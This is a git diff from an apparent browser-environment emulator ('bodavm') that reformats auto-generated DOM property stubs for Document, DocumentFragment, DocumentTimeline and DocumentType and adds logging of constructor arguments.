undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "activeElement", { + configurable: true, + enumerable: true, + get: function activeElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "activeElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "styleSheets", { + configurable: true, + enumerable: true, + get: function styleSheets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "styleSheets_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "pointerLockElement", { + configurable: true, + enumerable: true, + get: function pointerLockElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pointerLockElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fullscreenElement", { + configurable: true, + enumerable: true, + get: function fullscreenElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenElement_get", arguments); + }, + set: function fullscreenElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenElement_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "adoptedStyleSheets", { + configurable: true, + enumerable: true, + get: function adoptedStyleSheets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptedStyleSheets_get", arguments); + }, + set: function adoptedStyleSheets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptedStyleSheets_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fonts", { + configurable: true, + enumerable: true, + get: function fonts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fonts_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "adoptNode", { + configurable: true, + enumerable: true, + writable: true, + value: function adoptNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "append", { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "append", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "captureEvents", { + configurable: true, + enumerable: true, + writable: true, + value: function captureEvents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "captureEvents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "caretRangeFromPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function caretRangeFromPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "caretRangeFromPoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createAttribute", { + configurable: true, + enumerable: true, + writable: true, + value: function createAttribute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createAttribute", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createAttributeNS", { + configurable: true, + enumerable: true, + writable: true, + value: function createAttributeNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createAttributeNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createCDATASection", { + configurable: true, + enumerable: true, + writable: true, + value: function createCDATASection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createCDATASection", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createComment", { + configurable: true, + enumerable: true, + writable: true, + value: function createComment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createComment", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createDocumentFragment", { + configurable: true, + enumerable: true, + writable: true, + value: function createDocumentFragment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createDocumentFragment", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createElement", { + configurable: true, + enumerable: true, + writable: true, + value: function createElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createElement", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createElementNS", { + configurable: true, + enumerable: true, + writable: true, + value: function createElementNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createElementNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function createEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createEvent", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createExpression", { + configurable: true, + enumerable: true, + writable: true, + value: function createExpression() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createExpression", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createNSResolver", { + configurable: true, + enumerable: true, + writable: true, + value: function createNSResolver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createNSResolver", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createNodeIterator", { + configurable: true, + enumerable: true, + writable: true, + value: function createNodeIterator() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createNodeIterator", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createProcessingInstruction", { + configurable: true, + enumerable: true, + writable: true, + value: function createProcessingInstruction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createProcessingInstruction", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createRange", { + configurable: true, + enumerable: true, + writable: true, + value: function createRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createTextNode", { + configurable: true, + enumerable: true, + writable: true, + value: function createTextNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createTextNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createTreeWalker", { + configurable: true, + enumerable: true, + writable: true, + value: function createTreeWalker() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createTreeWalker", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "elementFromPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function elementFromPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "elementFromPoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "elementsFromPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function elementsFromPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "elementsFromPoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "evaluate", { + configurable: true, + enumerable: true, + writable: true, + value: function evaluate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "evaluate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "execCommand", { + configurable: true, + enumerable: true, + writable: true, + value: function execCommand() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "execCommand", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "exitFullscreen", { + configurable: true, + enumerable: true, + writable: true, + value: function exitFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitFullscreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "exitPictureInPicture", { + configurable: true, + enumerable: true, + writable: true, + value: function exitPictureInPicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitPictureInPicture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "exitPointerLock", { + configurable: true, + enumerable: true, + writable: true, + value: function exitPointerLock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitPointerLock", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementById", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementById() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementById", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementsByClassName", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementsByClassName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByClassName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementsByName", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementsByName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementsByTagName", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementsByTagName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByTagName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementsByTagNameNS", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementsByTagNameNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByTagNameNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getSelection", { + configurable: true, + enumerable: true, + writable: true, + value: function getSelection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getSelection", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "hasFocus", { + configurable: true, + enumerable: true, + writable: true, + value: function hasFocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "hasFocus", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "importNode", { + configurable: true, + enumerable: true, + writable: true, + value: function importNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "importNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "open", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "prepend", { + configurable: true, + enumerable: true, + writable: true, + value: function prepend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "prepend", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandEnabled", { + configurable: true, + enumerable: true, + writable: true, + value: function queryCommandEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandEnabled", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandIndeterm", { + configurable: true, + enumerable: true, + writable: true, + value: function queryCommandIndeterm() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandIndeterm", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandState", { + configurable: true, + enumerable: true, + writable: true, + value: function queryCommandState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandState", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function queryCommandSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandSupported", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandValue", { + configurable: true, + enumerable: true, + writable: true, + value: function queryCommandValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandValue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "querySelector", { + configurable: true, + enumerable: true, + writable: true, + value: function querySelector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "querySelector", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "querySelectorAll", { + configurable: true, + enumerable: true, + writable: true, + value: function querySelectorAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "querySelectorAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "releaseEvents", { + configurable: true, + enumerable: true, + writable: true, + value: function releaseEvents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "releaseEvents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "replaceChildren", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceChildren() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "replaceChildren", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitCancelFullScreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitCancelFullScreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitCancelFullScreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "webkitExitFullscreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitExitFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitExitFullscreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "write", { + configurable: true, + enumerable: true, + writable: true, + value: function write() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "write", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "writeln", { + configurable: true, + enumerable: true, + writable: true, + value: function writeln() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "writeln", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "prerendering", { + configurable: true, + enumerable: true, + get: function prerendering() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "prerendering_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onprerenderingchange", { + configurable: true, + enumerable: true, + get: function onprerenderingchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprerenderingchange_get", arguments); + }, + set: function onprerenderingchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprerenderingchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fragmentDirective", { + configurable: true, + enumerable: true, + get: function fragmentDirective() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fragmentDirective_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onbeforematch", { + configurable: true, + enumerable: true, + get: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforematch_get", arguments); + }, + set: function onbeforematch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforematch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "timeline", { + configurable: true, + enumerable: true, + get: function timeline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "timeline_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncontentvisibilityautostatechange", { + configurable: true, + enumerable: true, + get: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontentvisibilityautostatechange_get", arguments); + }, + set: function oncontentvisibilityautostatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontentvisibilityautostatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getAnimations", { + configurable: true, + enumerable: true, + writable: true, + value: function getAnimations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getAnimations", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "startViewTransition", { + configurable: true, + enumerable: true, + writable: true, + value: function startViewTransition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "startViewTransition", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DocumentFragment.js b/env_xbb_lastest_jsdom/env/DocumentFragment.js index 78eb77a2..d9256a2a 100644 --- a/env_xbb_lastest_jsdom/env/DocumentFragment.js +++ b/env_xbb_lastest_jsdom/env/DocumentFragment.js @@ -1,15 +1,96 @@ -// DocumentFragment对象 -bodavm.memory.globalobj['DocumentFragment'] = function DocumentFragment(){this._boarg= new bodaobj.window.DocumentFragment();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DocumentFragment'], "DocumentFragment"); -bodavm.memory.globalobj['DocumentFragment'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; -bodavm.memory.globalobj['DocumentFragment'].__proto__=bodavm.memory.globalobj['Node']; -bodavm.toolsFunc.defineProperty('DocumentFragment', "children", {configurable:true, enumerable:true, get:function children (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "children_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "firstElementChild", {configurable:true, enumerable:true, get:function firstElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "firstElementChild_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "lastElementChild", {configurable:true, enumerable:true, get:function lastElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "lastElementChild_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "childElementCount", {configurable:true, enumerable:true, get:function childElementCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "childElementCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "append", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "getElementById", {configurable:true, enumerable:true, writable:true, value:function getElementById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "getElementById", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "prepend", {configurable:true, enumerable:true, writable:true, value:function prepend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "prepend", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "querySelector", {configurable:true, enumerable:true, writable:true, value:function querySelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "querySelector", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "querySelectorAll", {configurable:true, enumerable:true, writable:true, value:function querySelectorAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "querySelectorAll", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentFragment', "replaceChildren", {configurable:true, enumerable:true, writable:true, value:function replaceChildren (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "replaceChildren", arguments)}},'prototype'); +// DocumentFragment对象 + +bodavm.memory.globalobj['DocumentFragment'] = function DocumentFragment() { + console.log_copy('DocumentFragment 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DocumentFragment(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DocumentFragment'], "DocumentFragment"); +bodavm.memory.globalobj['DocumentFragment'].prototype.__proto__ = bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['DocumentFragment'].__proto__ = bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('DocumentFragment', "children", { + configurable: true, + enumerable: true, + get: function children() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "children_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "firstElementChild", { + configurable: true, + enumerable: true, + get: function firstElementChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "firstElementChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "lastElementChild", { + configurable: true, + enumerable: true, + get: function lastElementChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "lastElementChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "childElementCount", { + configurable: true, + enumerable: true, + get: function childElementCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "childElementCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "append", { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "append", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "getElementById", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementById() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "getElementById", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "prepend", { + configurable: true, + enumerable: true, + writable: true, + value: function prepend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "prepend", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "querySelector", { + configurable: true, + enumerable: true, + writable: true, + value: function querySelector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "querySelector", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "querySelectorAll", { + configurable: true, + enumerable: true, + writable: true, + value: function querySelectorAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "querySelectorAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "replaceChildren", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceChildren() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "replaceChildren", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DocumentTimeline.js b/env_xbb_lastest_jsdom/env/DocumentTimeline.js index cf6da474..7bca40c0 100644 --- a/env_xbb_lastest_jsdom/env/DocumentTimeline.js +++ b/env_xbb_lastest_jsdom/env/DocumentTimeline.js @@ -1,5 +1,16 @@ -// DocumentTimeline对象 -bodavm.memory.globalobj['DocumentTimeline'] = function DocumentTimeline(){this._boarg= new bodaobj.window.DocumentTimeline();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DocumentTimeline'], "DocumentTimeline"); -bodavm.memory.globalobj['DocumentTimeline'].prototype.__proto__=bodavm.memory.globalobj['AnimationTimeline'].prototype; -bodavm.memory.globalobj['DocumentTimeline'].__proto__=bodavm.memory.globalobj['AnimationTimeline']; +// DocumentTimeline对象 + +bodavm.memory.globalobj['DocumentTimeline'] = function DocumentTimeline() { + console.log_copy('DocumentTimeline 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DocumentTimeline(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DocumentTimeline'], "DocumentTimeline"); +bodavm.memory.globalobj['DocumentTimeline'].prototype.__proto__ = bodavm.memory.globalobj['AnimationTimeline'].prototype; +bodavm.memory.globalobj['DocumentTimeline'].__proto__ = bodavm.memory.globalobj['AnimationTimeline']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DocumentType.js b/env_xbb_lastest_jsdom/env/DocumentType.js index cb221158..272386a0 100644 --- a/env_xbb_lastest_jsdom/env/DocumentType.js +++ b/env_xbb_lastest_jsdom/env/DocumentType.js @@ -1,12 +1,75 @@ -// DocumentType对象 -bodavm.memory.globalobj['DocumentType'] = function DocumentType(){if (!(this instanceof DocumentType)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DocumentType'], "DocumentType"); -bodavm.memory.globalobj['DocumentType'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; -bodavm.memory.globalobj['DocumentType'].__proto__=bodavm.memory.globalobj['Node']; -bodavm.toolsFunc.defineProperty('DocumentType', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentType', "publicId", {configurable:true, enumerable:true, get:function publicId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "publicId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentType', "systemId", {configurable:true, enumerable:true, get:function systemId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "systemId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentType', "after", {configurable:true, enumerable:true, writable:true, value:function after (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "after", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentType', "before", {configurable:true, enumerable:true, writable:true, value:function before (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "before", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentType', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "remove", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DocumentType', "replaceWith", {configurable:true, enumerable:true, writable:true, value:function replaceWith (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "replaceWith", arguments)}},'prototype'); +// DocumentType对象 + +bodavm.memory.globalobj['DocumentType'] = function DocumentType() { + console.log_copy('DocumentType 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DocumentType)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DocumentType'], "DocumentType"); +bodavm.memory.globalobj['DocumentType'].prototype.__proto__ = bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['DocumentType'].__proto__ = 